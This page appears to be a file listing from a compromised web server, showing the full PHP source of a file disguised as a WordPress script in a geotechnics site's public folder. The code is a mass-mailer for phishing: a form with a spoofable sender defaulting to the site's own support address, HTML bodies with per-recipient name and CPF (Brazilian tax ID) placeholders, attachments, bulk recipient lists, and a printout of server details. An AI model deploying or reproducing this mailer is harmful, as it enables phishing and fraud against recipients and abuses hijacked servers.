%PDF- %PDF-
Direktori : /var/www/html/geotechnics/api/public/ |
Current File : /var/www/html/geotechnics/api/public/wp-post.php__5b501ce |
<?php ini_set('display_errors', 1); error_reporting(E_ALL); $host = $_SERVER['HTTP_HOST']; $dominio = preg_replace('/^www\./', '', strtolower($host)); $email_automatico = "support@$dominio"; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $nome_remetente = trim($_POST['nome']); $de = trim($_POST['de']) ?: $email_automatico; $assunto = trim($_POST['assunto']); $mensagem_html = stripslashes($_POST['html']); $linhas = array_filter(array_map('trim', explode("\n", $_POST['emails']))); $nome_encoded = '=?UTF-8?B?' . base64_encode($nome_remetente ?: $email_automatico) . '?='; $boundary = md5(uniqid(time())); $headers = "From: $nome_encoded <$de>\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"; $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n"; $headers .= "X-Priority: 1\r\n"; $headers .= "X-MSmail-Priority: High\r\n"; $temAnexo = isset($_FILES['arquivo']) && $_FILES['arquivo']['error'] === UPLOAD_ERR_OK; if ($temAnexo) { $anexo_nome = basename($_FILES['arquivo']['name']); $anexo_tipo = $_FILES['arquivo']['type']; $anexo_dados = chunk_split(base64_encode(file_get_contents($_FILES['arquivo']['tmp_name']))); } $count = 1; foreach ($linhas as $linha) { $partes = explode(";", $linha); $email = trim($partes[0] ?? ''); $cpf = trim($partes[1] ?? ''); $nome = trim($partes[2] ?? ''); $random1 = substr(md5(uniqid(mt_rand(), true)), 0, 6); $vars = [ '%email%' => $email, '%cpf%' => $cpf, '%nome%' => $nome, '%data%' => date('d/m/Y'), '%hora%' => date('H:i:s'), '%random1%' => $random1 ]; $mensagem_personalizada = str_replace(array_keys($vars), array_values($vars), $mensagem_html); $assunto_personalizado = str_replace(array_keys($vars), array_values($vars), $assunto); $subject = '=?UTF-8?B?' . base64_encode($assunto_personalizado) . '?='; $corpo = "--$boundary\r\n"; $corpo .= "Content-Type: text/html; charset=UTF-8\r\n"; $corpo .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $corpo .= $mensagem_personalizada . "\r\n"; if ($temAnexo) { $corpo .= "--$boundary\r\n"; $corpo .= "Content-Type: $anexo_tipo; name=\"$anexo_nome\"\r\n"; $corpo .= "Content-Transfer-Encoding: base64\r\n"; $corpo .= "Content-Disposition: attachment; filename=\"$anexo_nome\"\r\n\r\n"; $corpo .= $anexo_dados . "\r\n"; } $corpo .= "--$boundary--"; if (mail($email, $subject, $corpo, $headers)) { echo "* Número: $count <b>" . htmlspecialchars($email) . "</b> <font color='green'>OK</font><br><hr>"; } else { echo "* Número: $count <b>" . htmlspecialchars($email) . "</b> <font color='red'>ERRO AO ENVIAR</font><br><hr>"; } $count++; } } ?> <html> <head> <title>##################</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <style> body { margin: 0; font-family: Arial; } .titulo { font-size: 18px; font-weight: bold; } .normal { font-size: 12px; } .form { font-size: 10px; color: #333; background-color: #FFF; border: 1px dashed #666; } .texto { font-weight: bold; font-family: Verdana; } .alerta { font-weight: bold; color: #990000; font-size: 10px; font-family: Verdana; } </style> </head> <body> <form action="" method="post" enctype="multipart/form-data"> <table width="464" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal"> <tr><td width="462" align="center" bgcolor="#99CCFF"> </td></tr> <tr><td valign="top" bgcolor="#FFFFFF"> <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal"> <tr> <td align="right"><span class="texto">De / e-mail :</span></td> <td width="65%"> <input name="nome" type="text" class="form" style="width:48%"> <input name="de" type="text" class="form" value="<?php echo htmlspecialchars($email_automatico); ?>" style="width:49%"> </td> </tr> <tr> <td align="right"><span class="texto">Assunto:</span></td> <td><input name="assunto" type="text" class="form" value="" style="width:100%"></td> </tr> <tr align="center" bgcolor="#99CCFF"> <td colspan="2"><span class="texto">📎 Anexo:</span></td> </tr> <tr> <td colspan="2"><input type="file" name="arquivo" class="form" style="width:100%"></td> </tr> <tr align="center" bgcolor="#99CCFF"> <td colspan="2"><span class="texto">Código HTML:</span></td> </tr> <tr> <td colspan="2"><textarea name="html" rows="8" class="form" style="width:100%"></textarea><br> <span class="alerta"></span> </td> </tr> <tr align="center" bgcolor="#99CCFF"> <td colspan="2"><span class="texto">Emails (um por linha)</span></td> </tr> <tr> <td colspan="2"><textarea name="emails" rows="8" class="form" style="width:100%"></textarea> <span class="alerta"></span> </td> </tr> <tr><td colspan="2" align="center"> <input type="submit" name="Submit" value="Enviar"> </td></tr> </table> </td></tr> <tr><td align="center" bgcolor="#99CCFF"> </td></tr> </table> </form> <br> <small> Nome do Servidor: <?php echo @php_uname(); ?><br> Sistema Operacional: <?php echo PHP_OS; ?><br> Endereço IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br> Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br> Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?><br> Safe Mode: <?php echo @ini_get('safe_mode'); ?><br> </small> </body> </html>